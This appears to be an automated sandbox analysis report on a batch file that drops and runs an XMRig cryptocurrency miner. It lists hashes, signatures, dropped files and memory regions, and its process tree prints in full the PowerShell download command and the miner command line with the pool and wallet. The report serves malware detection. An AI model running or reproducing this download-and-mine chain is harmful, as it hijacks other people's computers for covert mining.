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Analysis

  • max time kernel
    1794s
  • max time network
    1792s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/01/2024, 19:07

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1728
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4200

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    806b8421d017ad5f66129c0c852b3657

    SHA1

    ddfd4229035a4407ea10d6c8b9d8a1b43c7f2e2f

    SHA256

    817cd9bc9061f2c3e05768a20878d82f4091f2bb31b7a101755448ada9d70475

    SHA512

    971044b3f870bba9cfdd61287aead891201a9d9e2e20d78a064e0c65d82ab0314f8ff4e3725e37fe171c0db7c604693a58ca58deb97c3865310cb292c8a784aa

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ejsfno5l.c5u.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    1.1MB

    MD5

    caffa71b1caeb77830eb19992948db10

    SHA1

    693ac629a954567e7437f71ab14d73ddba85f1d9

    SHA256

    5a57bb8462dbc3a1e258830c7fb7bd2796ae2277c3149fe7269c4bab1ddc421b

    SHA512

    5f24a7557e7212570f6c82f03f73e98cd48d7bfcfeb92f7380ca07160f3a9858b6be7d317db6e8fec89884519b14ab9d1a172ce3fa81f27631ece3260e968d86

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    306KB

    MD5

    625387f3f99ef58328468c454a2a0719

    SHA1

    0554d40738dbe02aecb415808f5fde79c8193b60

    SHA256

    f85039c57b8f7a49242912f85adcc3345b6771875d06beef199188cbfa98e06d

    SHA512

    d27754dd863196e0afc491890590dbbc295204b600a9a57423bcd4f8bd4d8bc0f195df2598ec0f5b179c5e65d5705070bebe1dac9d9b27e9b0ff1322663ddf54

  • memory/1728-112-0x00007FFA98080000-0x00007FFA98A6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1728-35-0x00007FFA98080000-0x00007FFA98A6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1728-38-0x00000265622A0000-0x00000265622B0000-memory.dmp

    Filesize

    64KB

  • memory/1728-36-0x00000265622A0000-0x00000265622B0000-memory.dmp

    Filesize

    64KB

  • memory/1728-61-0x00000265622A0000-0x00000265622B0000-memory.dmp

    Filesize

    64KB

  • memory/1728-75-0x0000026562570000-0x0000026562582000-memory.dmp

    Filesize

    72KB

  • memory/1728-88-0x0000026562560000-0x000002656256A000-memory.dmp

    Filesize

    40KB

  • memory/4200-143-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-150-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-183-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-116-0x000001A2E7930000-0x000001A2E7950000-memory.dmp

    Filesize

    128KB

  • memory/4200-117-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-118-0x000001A2E7950000-0x000001A2E7970000-memory.dmp

    Filesize

    128KB

  • memory/4200-119-0x000001A2E7970000-0x000001A2E7990000-memory.dmp

    Filesize

    128KB

  • memory/4200-120-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-121-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-122-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-123-0x000001A2E7950000-0x000001A2E7970000-memory.dmp

    Filesize

    128KB

  • memory/4200-124-0x000001A2E7970000-0x000001A2E7990000-memory.dmp

    Filesize

    128KB

  • memory/4200-125-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-126-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-127-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-128-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-129-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-130-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-131-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-132-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-133-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-134-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-135-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-136-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-137-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-138-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-139-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-140-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-141-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-142-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-182-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-144-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-145-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-146-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-147-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-148-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-149-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-115-0x000001A2E78F0000-0x000001A2E7910000-memory.dmp

    Filesize

    128KB

  • memory/4200-151-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-152-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-153-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-154-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-155-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-156-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-157-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-158-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-159-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-160-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-161-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-162-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-163-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-164-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-165-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-166-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-167-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-168-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-169-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-170-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-171-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-172-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-173-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-174-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-175-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-176-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-177-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-178-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-179-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-180-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4200-181-0x00007FF752850000-0x00007FF753353000-memory.dmp

    Filesize

    11.0MB

  • memory/4996-4-0x00000229E4480000-0x00000229E44A2000-memory.dmp

    Filesize

    136KB

  • memory/4996-5-0x00007FFA98080000-0x00007FFA98A6C000-memory.dmp

    Filesize

    9.9MB

  • memory/4996-6-0x00000229E4400000-0x00000229E4410000-memory.dmp

    Filesize

    64KB

  • memory/4996-9-0x00000229FC740000-0x00000229FC7B6000-memory.dmp

    Filesize

    472KB

  • memory/4996-24-0x00000229E4400000-0x00000229E4410000-memory.dmp

    Filesize

    64KB

  • memory/4996-29-0x00007FFA98080000-0x00007FFA98A6C000-memory.dmp

    Filesize

    9.9MB